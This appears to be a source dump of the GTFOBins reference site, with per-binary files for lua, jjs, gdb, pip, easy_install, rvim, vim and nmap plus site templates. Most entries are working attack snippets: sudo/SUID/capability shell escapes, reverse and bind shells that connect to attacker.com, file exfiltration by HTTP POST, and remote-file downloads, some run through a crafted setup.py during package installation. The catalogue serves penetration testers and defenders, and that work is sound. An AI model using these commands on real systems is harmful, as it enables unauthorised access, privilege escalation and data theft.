-------------------------------------------------------------------------------- /_gtfobins/lua.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | shell: 4 | - code: lua -e 'os.execute("/bin/sh")' 5 | non-interactive-reverse-shell: 6 | - description: Run ``nc -l -p 12345`` on the attacker box to receive the shell. This requires `lua-socket` installed. 7 | code: | 8 | export RHOST=attacker.com 9 | export RPORT=12345 10 | lua -e 'local s=require("socket"); 11 | local t=assert(s.tcp()); 12 | t:connect(os.getenv("RHOST"),os.getenv("RPORT")); 13 | while true do 14 | local r,x=t:receive();local f=assert(io.popen(r,"r")); 15 | local b=assert(f:read("*a"));t:send(b); 16 | end; 17 | f:close();t:close();' 18 | non-interactive-bind-shell: 19 | - description: Run `nc target.com 12345` on the attacker box to connect to the shell. This requires `lua-socket` installed. 20 | code: | 21 | export LPORT=12345 22 | lua -e 'local k=require("socket"); 23 | local s=assert(k.bind("*",os.getenv("LPORT"))); 24 | local c=s:accept(); 25 | while true do 26 | local r,x=c:receive();local f=assert(io.popen(r,"r")); 27 | local b=assert(f:read("*a"));c:send(b); 28 | end;c:close();f:close();' 29 | file-upload: 30 | - description: Send a file to a TCP port. Run `nc -l -p 12345 > "file_to_save"` on the attacker box to collect the file. This requires `lua-socket` installed. 31 | code: | 32 | RHOST=attacker.com 33 | RPORT=12345 34 | LFILE=file_to_send 35 | lua -e ' 36 | local f=io.open(os.getenv("LFILE"), 'rb') 37 | local d=f:read("*a") 38 | io.close(f); 39 | local s=require("socket"); 40 | local t=assert(s.tcp()); 41 | t:connect(os.getenv("RHOST"),os.getenv("RPORT")); 42 | t:send(d); 43 | t:close();' 44 | file-download: 45 | - description: Fetch remote file sent to a local TCP port. Run `nc target.com 12345 46 | < "file_to_send"` on the attacker box to send the file. This requires `lua-socket` installed. 47 | code: | 48 | export LPORT=12345 49 | export LFILE=file_to_save 50 | lua -e 'local k=require("socket"); 51 | local s=assert(k.bind("*",os.getenv("LPORT"))); 52 | local c=s:accept(); 53 | local d,x=c:receive("*a"); 54 | c:close(); 55 | local f=io.open(os.getenv("LFILE"), "wb"); 56 | f:write(d); 57 | io.close(f);' 58 | file-write: 59 | - code: lua -e 'local f=io.open("file_to_write", "wb"); f:write("DATA"); io.close(f);' 60 | file-read: 61 | - code: lua -e 'local f=io.open("file_to_read", "rb"); print(f:read("*a")); io.close(f);' 62 | sudo: 63 | - code: sudo lua -e 'os.execute("/bin/sh")' 64 | limited-suid: 65 | - code: ./lua -e 'os.execute("/bin/sh")' 66 | --- 67 | -------------------------------------------------------------------------------- /_gtfobins/jjs.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: This tool is installed starting with Java SE 8. 3 | functions: 4 | shell: 5 | - code: echo "Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -c \$@|sh _ echo sh <$(tty) >$(tty) 2>$(tty)').waitFor()" | jjs 6 | reverse-shell: 7 | - description: Run `nc -l -p 12345` on the attacker box to receive the shell. 8 | code: | 9 | export RHOST=attacker.com 10 | export RPORT=12345 11 | echo 'var host=Java.type("java.lang.System").getenv("RHOST"); 12 | var port=Java.type("java.lang.System").getenv("RPORT"); 13 | var ProcessBuilder = Java.type("java.lang.ProcessBuilder"); 14 | var p=new ProcessBuilder("/bin/bash", "-i").redirectErrorStream(true).start(); 15 | var Socket = Java.type("java.net.Socket"); 16 | var s=new Socket(host,port); 17 | var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream(); 18 | var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){ while(pi.available()>0)so.write(pi.read()); while(pe.available()>0)so.write(pe.read()); while(si.available()>0)po.write(si.read()); so.flush();po.flush(); Java.type("java.lang.Thread").sleep(50); try {p.exitValue();break;}catch (e){}};p.destroy();s.close();' | jjs 19 | file-download: 20 | - description: Fetch a remote file via HTTP GET request. 21 | code: | 22 | export URL=http://attacker.com/file_to_get 23 | export LFILE=file_to_save 24 | echo "var URL = Java.type('java.net.URL'); 25 | var ws = new URL('$URL'); 26 | var Channels = Java.type('java.nio.channels.Channels'); 27 | var rbc = Channels.newChannel(ws.openStream()); 28 | var FileOutputStream = Java.type('java.io.FileOutputStream'); 29 | var fos = new FileOutputStream('$LFILE'); 30 | fos.getChannel().transferFrom(rbc, 0, Number.MAX_VALUE); 31 | fos.close(); 32 | rbc.close();" | jjs 33 | file-write: 34 | - code: | 35 | echo 'var FileWriter = Java.type("java.io.FileWriter"); 36 | var fw=new FileWriter("./file_to_write"); 37 | fw.write("DATA"); 38 | fw.close();' | jjs 39 | file-read: 40 | - code: | 41 | echo 'var BufferedReader = Java.type("java.io.BufferedReader"); 42 | var FileReader = Java.type("java.io.FileReader"); 43 | var br = new BufferedReader(new FileReader("file_to_read")); 44 | while ((line = br.readLine()) != null) { print(line); }' | jjs 45 | suid: 46 | - description: This has been found working in macOS but failing on Linux systems. 47 | code: echo "Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -pc \$@|sh\${IFS}-p _ echo sh -p <$(tty) >$(tty) 2>$(tty)').waitFor()" | ./jjs 48 | sudo: 49 | - code: echo "Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -c \$@|sh _ echo sh <$(tty) >$(tty) 2>$(tty)').waitFor()" | sudo jjs 50 | --- 51 | -------------------------------------------------------------------------------- /_gtfobins/gdb.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | shell: 4 | - code: gdb -nx -ex '!sh' -ex quit 5 | reverse-shell: 6 | - description: This requires that GDB is compiled with Python support. Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell. 7 | code: | 8 | export RHOST=attacker.com 9 | export RPORT=12345 10 | gdb -nx -ex 'python import sys,socket,os,pty;s=socket.socket() 11 | s.connect((os.getenv("RHOST"),int(os.getenv("RPORT")))) 12 | [os.dup2(s.fileno(),fd) for fd in (0,1,2)] 13 | pty.spawn("/bin/sh")' -ex quit 14 | file-upload: 15 | - description: This requires that GDB is compiled with Python support. Send local file via "d" parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file. 16 | code: | 17 | export URL=http://attacker.com/ 18 | export LFILE=file_to_send 19 | gdb -nx -ex 'python import sys; from os import environ as e 20 | if sys.version_info.major == 3: import urllib.request as r, urllib.parse as u 21 | else: import urllib as u, urllib2 as r 22 | r.urlopen(e["URL"], bytes(u.urlencode({"d":open(e["LFILE"]).read()}).encode()))' -ex quit 23 | - description: This requires that GDB is compiled with Python support. Serve files in the local folder running an HTTP server. 24 | code: | 25 | export LPORT=8888 26 | gdb -nx -ex 'python import sys; from os import environ as e 27 | if sys.version_info.major == 3: import http.server as s, socketserver as ss 28 | else: import SimpleHTTPServer as s, SocketServer as ss 29 | ss.TCPServer(("", int(e["LPORT"])), s.SimpleHTTPRequestHandler).serve_forever()' -ex quit 30 | file-download: 31 | - description: This requires that GDB is compiled with Python support. Fetch a remote file via HTTP GET request. 32 | code: | 33 | export URL=http://attacker.com/file_to_get 34 | export LFILE=file_to_save 35 | gdb -nx -ex 'python import sys; from os import environ as e 36 | if sys.version_info.major == 3: import urllib.request as r 37 | else: import urllib as r 38 | r.urlretrieve(e["URL"], e["LFILE"])' -ex quit 39 | file-write: 40 | - description: This requires that GDB is compiled with Python support. 41 | code: | 42 | LFILE=file_to_write 43 | gdb -nx -ex "dump value $LFILE \"DATA\"" -ex quit 44 | file-read: 45 | - description: This requires that GDB is compiled with Python support. 46 | code: gdb -nx -ex 'python print(open("file_to_read").read())' -ex quit 47 | library-load: 48 | - description: This requires that GDB is compiled with Python support. 49 | code: gdb -nx -ex 'python from ctypes import cdll; cdll.LoadLibrary("lib.so")' -ex quit 50 | suid: 51 | - description: This requires that GDB is compiled with Python support. 52 | code: ./gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit 53 | sudo: 54 | - code: sudo gdb -nx -ex '!sh' -ex quit 55 | capabilities: 56 | - description: This requires that GDB is compiled with Python support. 57 | code: ./gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit 58 | --- 59 | -------------------------------------------------------------------------------- /_data/functions.yml: -------------------------------------------------------------------------------- 1 | --- 2 | # this is the rendering order of functions 3 | 4 | shell: 5 | label: Shell 6 | description: | 7 | It can be used to break out from restricted environments by spawning an 8 | interactive system shell. 9 | 10 | command: 11 | label: Command 12 | description: | 13 | It can be used to break out from restricted environments by running 14 | non-interactive system commands. 15 | 16 | reverse-shell: 17 | label: Reverse shell 18 | description: | 19 | It can send back a reverse shell to a listening attacker to open a remote 20 | network access. 21 | 22 | non-interactive-reverse-shell: 23 | label: Non-interactive reverse shell 24 | description: | 25 | It can send back a non-interactive reverse shell to a listening attacker to 26 | open a remote network access. 27 | 28 | bind-shell: 29 | label: Bind shell 30 | description: | 31 | It can bind a shell to a local port to allow remote network access. 32 | 33 | non-interactive-bind-shell: 34 | label: Non-interactive bind shell 35 | description: | 36 | It can bind a non-interactive shell to a local port to allow remote network 37 | access. 38 | 39 | file-upload: 40 | label: File upload 41 | description: | 42 | It can exfiltrate files on the network. 43 | 44 | file-download: 45 | label: File download 46 | description: | 47 | It can download remote files. 48 | 49 | file-write: 50 | label: File write 51 | description: | 52 | It writes data to files, it may be used to do privileged writes or write 53 | files outside a restricted file system. 54 | 55 | file-read: 56 | label: File read 57 | description: | 58 | It reads data from files, it may be used to do privileged reads or disclose 59 | files outside a restricted file system. 60 | 61 | library-load: 62 | label: Library load 63 | description: | 64 | It loads shared libraries that may be used to run code in the binary 65 | execution context. 66 | 67 | suid: 68 | label: SUID 69 | description: | 70 | It runs with the SUID bit set and may be exploited to access the file 71 | system, escalate or maintain access with elevated privileges working as a 72 | SUID backdoor. If it is used to run `sh -p`, omit the `-p` argument on systems 73 | like Debian that allow the default `sh` shell to run with SUID privileges. 74 | 75 | sudo: 76 | label: Sudo 77 | description: | 78 | It runs in privileged context and may be used to access the file system, 79 | escalate or maintain access with elevated privileges if enabled on `sudo`. 80 | 81 | capabilities: 82 | label: Capabilities 83 | description: | 84 | It can manipulate its process UID and can be used on Linux as a backdoor to maintain 85 | elevated privileges with the `CAP_SETUID` capability set. This also works when executed 86 | by another binary with the capability set. 87 | 88 | limited-suid: 89 | label: Limited SUID 90 | description: | 91 | It runs with the SUID bit set and may be exploited to access the file 92 | system, escalate or maintain access with elevated privileges working as a 93 | SUID backdoor. If it is used to run commands it only works on systems 94 | like Debian that allow the default `sh` shell to run with SUID privileges. 95 | -------------------------------------------------------------------------------- /_gtfobins/pip.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | shell: 4 | - code: | 5 | TF=$(mktemp -d) 6 | echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py 7 | pip install $TF 8 | reverse-shell: 9 | - description: Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell. 10 | code: | 11 | export RHOST=attacker.com 12 | export RPORT=12345 13 | TF=$(mktemp -d) 14 | echo 'import sys,socket,os,pty;s=socket.socket() 15 | s.connect((os.getenv("RHOST"),int(os.getenv("RPORT")))) 16 | [os.dup2(s.fileno(),fd) for fd in (0,1,2)] 17 | pty.spawn("/bin/sh")' > $TF/setup.py 18 | pip install $TF 19 | file-upload: 20 | - description: Send local file via "d" parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file. 21 | code: | 22 | export URL=http://attacker.com/ 23 | export LFILE=file_to_send 24 | TF=$(mktemp -d) 25 | echo 'import sys; from os import environ as e 26 | if sys.version_info.major == 3: import urllib.request as r, urllib.parse as u 27 | else: import urllib as u, urllib2 as r 28 | r.urlopen(e["URL"], bytes(u.urlencode({"d":open(e["LFILE"]).read()}).encode()))' > $TF/setup.py 29 | pip install $TF 30 | - description: Serve files in the local folder running an HTTP server. 31 | code: | 32 | export LPORT=8888 33 | TF=$(mktemp -d) 34 | echo 'import sys; from os import environ as e 35 | if sys.version_info.major == 3: import http.server as s, socketserver as ss 36 | else: import SimpleHTTPServer as s, SocketServer as ss 37 | ss.TCPServer(("", int(e["LPORT"])), s.SimpleHTTPRequestHandler).serve_forever()' > $TF/setup.py 38 | pip install $TF 39 | file-download: 40 | - description: Fetch a remote file via HTTP GET request. It needs an absolute local file path. 41 | code: | 42 | export URL=http://attacker.com/file_to_get 43 | export LFILE=/tmp/file_to_save 44 | TF=$(mktemp -d) 45 | echo 'import sys; from os import environ as e 46 | if sys.version_info.major == 3: import urllib.request as r 47 | else: import urllib as r 48 | r.urlretrieve(e["URL"], e["LFILE"])' > $TF/setup.py 49 | pip install $TF 50 | file-write: 51 | - description: It needs an absolute local file path. 52 | code: | 53 | export LFILE=/tmp/file_to_save 54 | TF=$(mktemp -d) 55 | echo "open('$LFILE','w+').write('DATA')" > $TF/setup.py 56 | pip install $TF 57 | file-read: 58 | - description: The read file content is corrupted as wrapped within an exception error. 59 | code: | 60 | TF=$(mktemp -d) 61 | echo 'raise Exception(open("file_to_read").read())' > $TF/setup.py 62 | pip install $TF 63 | library-load: 64 | - code: | 65 | TF=$(mktemp -d) 66 | echo 'from ctypes import cdll; cdll.LoadLibrary("lib.so")' > $TF/setup.py 67 | pip install $TF 68 | sudo: 69 | - code: | 70 | TF=$(mktemp -d) 71 | echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py 72 | sudo pip install $TF 73 | --- 74 | -------------------------------------------------------------------------------- /_gtfobins/easy_install.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | shell: 4 | - code: | 5 | TF=$(mktemp -d) 6 | echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py 7 | easy_install $TF 8 | reverse-shell: 9 | - description: Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell. 10 | code: | 11 | export RHOST=attacker.com 12 | export RPORT=12345 13 | TF=$(mktemp -d) 14 | echo 'import sys,socket,os,pty;s=socket.socket() 15 | s.connect((os.getenv("RHOST"),int(os.getenv("RPORT")))) 16 | [os.dup2(s.fileno(),fd) for fd in (0,1,2)] 17 | pty.spawn("/bin/sh")' > $TF/setup.py 18 | easy_install $TF 19 | file-upload: 20 | - description: Send local file via "d" parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file. 21 | code: | 22 | export URL=http://attacker.com/ 23 | export LFILE=file_to_send 24 | TF=$(mktemp -d) 25 | echo 'import sys; from os import environ as e 26 | if sys.version_info.major == 3: import urllib.request as r, urllib.parse as u 27 | else: import urllib as u, urllib2 as r 28 | r.urlopen(e["URL"], bytes(u.urlencode({"d":open(e["LFILE"]).read()}).encode()))' > $TF/setup.py 29 | easy_install $TF 30 | - description: Serve files in the local folder running an HTTP server. 31 | code: | 32 | export LPORT=8888 33 | TF=$(mktemp -d) 34 | echo 'import sys; from os import environ as e 35 | if sys.version_info.major == 3: import http.server as s, socketserver as ss 36 | else: import SimpleHTTPServer as s, SocketServer as ss 37 | ss.TCPServer(("", int(e["LPORT"])), s.SimpleHTTPRequestHandler).serve_forever()' > $TF/setup.py 38 | easy_install $TF 39 | file-download: 40 | - description: Fetch a remote file via HTTP GET request. The file path must be absolute. 41 | code: | 42 | export URL=http://attacker.com/file_to_get 43 | export LFILE=/tmp/file_to_save 44 | TF=$(mktemp -d) 45 | echo "import os; 46 | os.execl('$(whereis python)', '$(whereis python)', '-c', \"\"\"import sys; 47 | if sys.version_info.major == 3: import urllib.request as r 48 | else: import urllib as r 49 | r.urlretrieve('$URL', '$LFILE')\"\"\")" > $TF/setup.py 50 | pip install $TF 51 | file-write: 52 | - description: The file path must be absolute. 53 | code: | 54 | export LFILE=/tmp/file_to_save 55 | TF=$(mktemp -d) 56 | echo "import os; 57 | os.execl('$(whereis python)', 'python', '-c', 'open(\"$LFILE\",\"w+\").write(\"DATA\")')" > $TF/setup.py 58 | easy_install $TF 59 | file-read: 60 | - description: The read file content is wrapped within program messages. 61 | code: | 62 | TF=$(mktemp -d) 63 | echo 'print(open("file_to_read").read())' > $TF/setup.py 64 | easy_install $TF 65 | library-load: 66 | - code: | 67 | TF=$(mktemp -d) 68 | echo 'from ctypes import cdll; cdll.LoadLibrary("lib.so")' > $TF/setup.py 69 | easy_install $TF 70 | sudo: 71 | - code: | 72 | TF=$(mktemp -d) 73 | echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py 74 | sudo easy_install $TF 75 | --- 76 | -------------------------------------------------------------------------------- /_gtfobins/rvim.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | shell: 4 | - description: This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3. 5 | code: rvim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")' 6 | reverse-shell: 7 | - description: This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3. Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell. 8 | code: | 9 | export RHOST=attacker.com 10 | export RPORT=12345 11 | rvim -c ':py import vim,sys,socket,os,pty;s=socket.socket() 12 | s.connect((os.getenv("RHOST"),int(os.getenv("RPORT")))) 13 | [os.dup2(s.fileno(),fd) for fd in (0,1,2)] 14 | pty.spawn("/bin/sh") 15 | vim.command(":q!")' 16 | file-upload: 17 | - description: This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3. Send local file via "d" parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file. 18 | code: | 19 | export URL=http://attacker.com/ 20 | export LFILE=file_to_send 21 | rvim -c ':py import vim,sys; from os import environ as e 22 | if sys.version_info.major == 3: import urllib.request as r, urllib.parse as u 23 | else: import urllib as u, urllib2 as r 24 | r.urlopen(e["URL"], bytes(u.urlencode({"d":open(e["LFILE"]).read()}).encode())) 25 | vim.command(":q!")' 26 | - description: This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3. Serve files in the local folder running an HTTP server. 27 | code: | 28 | export LPORT=8888 29 | rvim -c ':py import vim,sys; from os import environ as e 30 | if sys.version_info.major == 3: import http.server as s, socketserver as ss 31 | else: import SimpleHTTPServer as s, SocketServer as ss 32 | ss.TCPServer(("", int(e["LPORT"])), s.SimpleHTTPRequestHandler).serve_forever() 33 | vim.command(":q!")' 34 | file-download: 35 | - description: This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3. Fetch a remote file via HTTP GET request. 36 | code: | 37 | export URL=http://attacker.com/file_to_get 38 | export LFILE=file_to_save 39 | rvim -c ':py import vim,sys; from os import environ as e 40 | if sys.version_info.major == 3: import urllib.request as r 41 | else: import urllib as r 42 | r.urlretrieve(e["URL"], e["LFILE"]) 43 | vim.command(":q!")' 44 | file-write: 45 | - description: This requires that rvim is compiled with Python support. Prepend `:py3` for Python 3. 46 | code: | 47 | rvim file_to_write 48 | iDATA 49 | ^[ 50 | w 51 | file-read: 52 | - code: rvim file_to_read 53 | library-load: 54 | - description: This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3. 55 | code: rvim -c ':py import vim; from ctypes import cdll; cdll.LoadLibrary("lib.so"); vim.command(":q!")' 56 | suid: 57 | - description: This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3. 58 | code: ./rvim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")' 59 | sudo: 60 | - description: This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3. 61 | code: sudo rvim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")' 62 | capabilities: 63 | - description: This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3. 64 | code: ./rvim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")' 65 | --- 66 | -------------------------------------------------------------------------------- /_gtfobins/vim.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | shell: 4 | - code: vim -c ':!/bin/sh' 5 | - code: | 6 | vim 7 | :set shell=/bin/sh 8 | :shell 9 | - description: This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3. 10 | code: vim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")' 11 | reverse-shell: 12 | - description: This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3. Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell. 13 | code: | 14 | export RHOST=attacker.com 15 | export RPORT=12345 16 | vim -c ':py import vim,sys,socket,os,pty;s=socket.socket() 17 | s.connect((os.getenv("RHOST"),int(os.getenv("RPORT")))) 18 | [os.dup2(s.fileno(),fd) for fd in (0,1,2)] 19 | pty.spawn("/bin/sh") 20 | vim.command(":q!")' 21 | file-upload: 22 | - description: This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3. Send local file via "d" parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file. 23 | code: | 24 | export URL=http://attacker.com/ 25 | export LFILE=file_to_send 26 | vim -c ':py import vim,sys; from os import environ as e 27 | if sys.version_info.major == 3: import urllib.request as r, urllib.parse as u 28 | else: import urllib as u, urllib2 as r 29 | r.urlopen(e["URL"], bytes(u.urlencode({"d":open(e["LFILE"]).read()}).encode())) 30 | vim.command(":q!")' 31 | - description: This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3. Serve files in the local folder running an HTTP server. 32 | code: | 33 | export LPORT=8888 34 | vim -c ':py import vim,sys; from os import environ as e 35 | if sys.version_info.major == 3: import http.server as s, socketserver as ss 36 | else: import SimpleHTTPServer as s, SocketServer as ss 37 | ss.TCPServer(("", int(e["LPORT"])), s.SimpleHTTPRequestHandler).serve_forever() 38 | vim.command(":q!")' 39 | file-download: 40 | - description: This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3. Fetch a remote file via HTTP GET request. 41 | code: | 42 | export URL=http://attacker.com/file_to_get 43 | export LFILE=file_to_save 44 | vim -c ':py import vim,sys; from os import environ as e 45 | if sys.version_info.major == 3: import urllib.request as r 46 | else: import urllib as r 47 | r.urlretrieve(e["URL"], e["LFILE"]) 48 | vim.command(":q!")' 49 | file-write: 50 | - code: | 51 | vim file_to_write 52 | iDATA 53 | ^[ 54 | w 55 | file-read: 56 | - code: vim file_to_read 57 | library-load: 58 | - description: This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3. 59 | code: vim -c ':py import vim; from ctypes import cdll; cdll.LoadLibrary("lib.so"); vim.command(":q!")' 60 | suid: 61 | - description: This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3. 62 | code: ./vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")' 63 | sudo: 64 | - code: sudo vim -c ':!/bin/sh' 65 | - description: This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3. 66 | code: sudo vim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")' 67 | capabilities: 68 | - description: This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3. 69 | code: ./vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")' 70 | --- 71 | -------------------------------------------------------------------------------- /_gtfobins/nmap.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | shell: 4 | - description: Input echo is disabled. 5 | code: | 6 | TF=$(mktemp) 7 | echo 'os.execute("/bin/sh")' > $TF 8 | nmap --script=$TF 9 | - description: The interactive mode, available on versions 2.02 to 5.21, can be used to execute shell commands. 10 | code: | 11 | nmap --interactive 12 | nmap> !sh 13 | non-interactive-reverse-shell: 14 | - description: Run ``nc -l -p 12345`` on the attacker box to receive the shell. 15 | code: | 16 | export RHOST=attacker.com 17 | export RPORT=12345 18 | TF=$(mktemp) 19 | echo 'local s=require("socket"); 20 | local t=assert(s.tcp()); 21 | t:connect(os.getenv("RHOST"),os.getenv("RPORT")); 22 | while true do 23 | local r,x=t:receive();local f=assert(io.popen(r,"r")); 24 | local b=assert(f:read("*a"));t:send(b); 25 | end; 26 | f:close();t:close();' > $TF 27 | nmap --script=$TF 28 | non-interactive-bind-shell: 29 | - description: Run `nc target.com 12345` on the attacker box to connect to the shell. 30 | code: | 31 | export LPORT=12345 32 | TF=$(mktemp) 33 | echo 'local k=require("socket"); 34 | local s=assert(k.bind("*",os.getenv("LPORT"))); 35 | local c=s:accept(); 36 | while true do 37 | local r,x=c:receive();local f=assert(io.popen(r,"r")); 38 | local b=assert(f:read("*a"));c:send(b); 39 | end;c:close();f:close();' > $TF 40 | nmap --script=$TF 41 | file-upload: 42 | - description: Send a file to a TCP port. Run `nc -l -p 12345 > "file_to_save"` on the attacker box to collect the file. 43 | code: | 44 | export RHOST=attacker.com 45 | export RPORT=12345 46 | export LFILE=file_to_send 47 | TF=$(mktemp) 48 | echo 'local f=io.open(os.getenv("LFILE"), 'rb') 49 | local d=f:read("*a") 50 | io.close(f); 51 | local s=require("socket"); 52 | local t=assert(s.tcp()); 53 | t:connect(os.getenv("RHOST"),os.getenv("RPORT")); 54 | t:send(d); 55 | t:close();' > $TF 56 | nmap --script=$TF 57 | file-download: 58 | - description: Fetch remote file sent to a local TCP port. Run `nc target.com 12345 59 | < "file_to_send"` on the attacker box to send the file. 60 | code: | 61 | export LPORT=12345 62 | export LFILE=file_to_save 63 | TF=$(mktemp) 64 | echo 'local k=require("socket"); 65 | local s=assert(k.bind("*",os.getenv("LPORT"))); 66 | local c=s:accept(); 67 | local d,x=c:receive("*a"); 68 | c:close(); 69 | local f=io.open(os.getenv("LFILE"), "wb"); 70 | f:write(d); 71 | io.close(f);' > $TF 72 | nmap --script=$TF 73 | file-write: 74 | - code: | 75 | TF=$(mktemp) 76 | echo 'lua -e 'local f=io.open("file_to_write", "wb"); f:write("data"); io.close(f);' > $TF 77 | nmap --script=$TF 78 | file-read: 79 | - code: | 80 | TF=$(mktemp) 81 | echo 'lua -e 'local f=io.open("file_to_read", "rb"); print(f:read("*a")); io.close(f);' > $TF 82 | nmap --script=$TF 83 | sudo: 84 | - description: Input echo is disabled. 85 | code: | 86 | TF=$(mktemp) 87 | echo 'os.execute("/bin/sh")' > $TF 88 | sudo nmap --script=$TF 89 | - description: The interactive mode, available on versions 2.02 to 5.21, can be used to execute shell commands. 90 | code: | 91 | sudo nmap --interactive 92 | nmap> !sh 93 | limited-suid: 94 | - description: Input echo is disabled. 95 | code: | 96 | TF=$(mktemp) 97 | echo 'os.execute("/bin/sh")' > $TF 98 | ./nmap --script=$TF 99 | --- 100 | -------------------------------------------------------------------------------- /_includes/bin_table.html: -------------------------------------------------------------------------------- 1 |
2 |
    3 | {% for function_pair in site.data.functions %} 4 | {% assign function_id = function_pair[0] %} 5 | {% assign function = function_pair[1] %} 6 |
  • {{ function.label }}
  • 7 | {% endfor %} 8 |
9 | 10 | 11 |
12 | 13 |
14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | {% for file in site.gtfobins %} 23 | 24 | 25 | 26 | 27 | {% endfor %} 28 | 29 | 30 | 31 | 32 |
BinaryFunctions
{% include get_bin_name path=file.path %}{% include function_list.html bin=file %}
No binary matches...
33 |
34 | 35 | 138 | -------------------------------------------------------------------------------- /assets/style.scss: -------------------------------------------------------------------------------- 1 | --- 2 | --- 3 | 4 | $accent: #bf0707; 5 | $lighter: #fff4f4; 6 | $marked: #ffcccc; 7 | $hover: #ff0000; 8 | 9 | // layout 10 | 11 | $column-width: 800px; 12 | $grace-space: 200px; 13 | $layout-break: "(min-width: #{$column-width + $grace-space})"; 14 | 15 | @media #{$layout-break} { 16 | body { 17 | width: $column-width; 18 | margin: 40px auto; 19 | } 20 | 21 | p { 22 | text-align: justify; 23 | } 24 | } 25 | 26 | @media not all and #{$layout-break} { 27 | .github-corner { 28 | display: none; 29 | } 30 | } 31 | 32 | // common tags 33 | 34 | body { 35 | font-family: sans, sans-serif; 36 | } 37 | 38 | code { 39 | padding: 0.15em 0.25em; 40 | border-radius: 0.25em; 41 | color: $accent; 42 | background: $lighter; 43 | } 44 | 45 | pre { 46 | background: $lighter; 47 | padding: 1em; 48 | overflow-x: auto; 49 | 50 | code { 51 | padding: 0; 52 | border-radius: 0; 53 | } 54 | } 55 | 56 | a:link, a:visited { 57 | color: $accent; 58 | } 59 | 60 | a:hover { 61 | color: $hover; 62 | } 63 | 64 | // permalink on headings 65 | 66 | h2, h3, h4, h5, h5 { 67 | .permalink { 68 | margin-left: 5px; 69 | text-decoration: none; 70 | visibility: hidden; 71 | 72 | &::before { 73 | content: "#"; 74 | } 75 | } 76 | 77 | &:target { 78 | border-left: 5px solid $accent; 79 | padding-left: 5px; 80 | } 81 | 82 | &:hover { 83 | .permalink { 84 | visibility: visible; 85 | } 86 | } 87 | } 88 | 89 | // binary list and search 90 | 91 | #bin-search-wrapper { 92 | margin: 50px 0; 93 | padding: 10px 0; 94 | position: relative; // XXX needed for tooltip sizing 95 | 96 | #bin-search-filters { 97 | text-align: center; 98 | 99 | a { 100 | background: $lighter; 101 | font-size: initial; 102 | border-radius: 0.25em; 103 | 104 | &:hover:before { 105 | content: attr(data-title); 106 | font-size: 0.8rem; 107 | display: block; 108 | position: absolute; 109 | left: 0; 110 | right: 0; 111 | margin-top: 1.75rem; // XXX below the button 112 | margin-left: 10%; 113 | margin-right: 10%; 114 | padding: 1em; 115 | border-radius: 1em; 116 | color: $lighter; 117 | background: rgba(0, 0, 0, 0.75); 118 | z-index: 1; 119 | pointer-events: none; 120 | } 121 | } 122 | } 123 | 124 | #bin-search { 125 | margin-top: 25px; 126 | padding: 1em; 127 | font-size: 1rem; 128 | width: 100%; 129 | box-sizing: border-box; 130 | border: 1px solid $accent; 131 | outline-color: $accent; 132 | } 133 | } 134 | 135 | 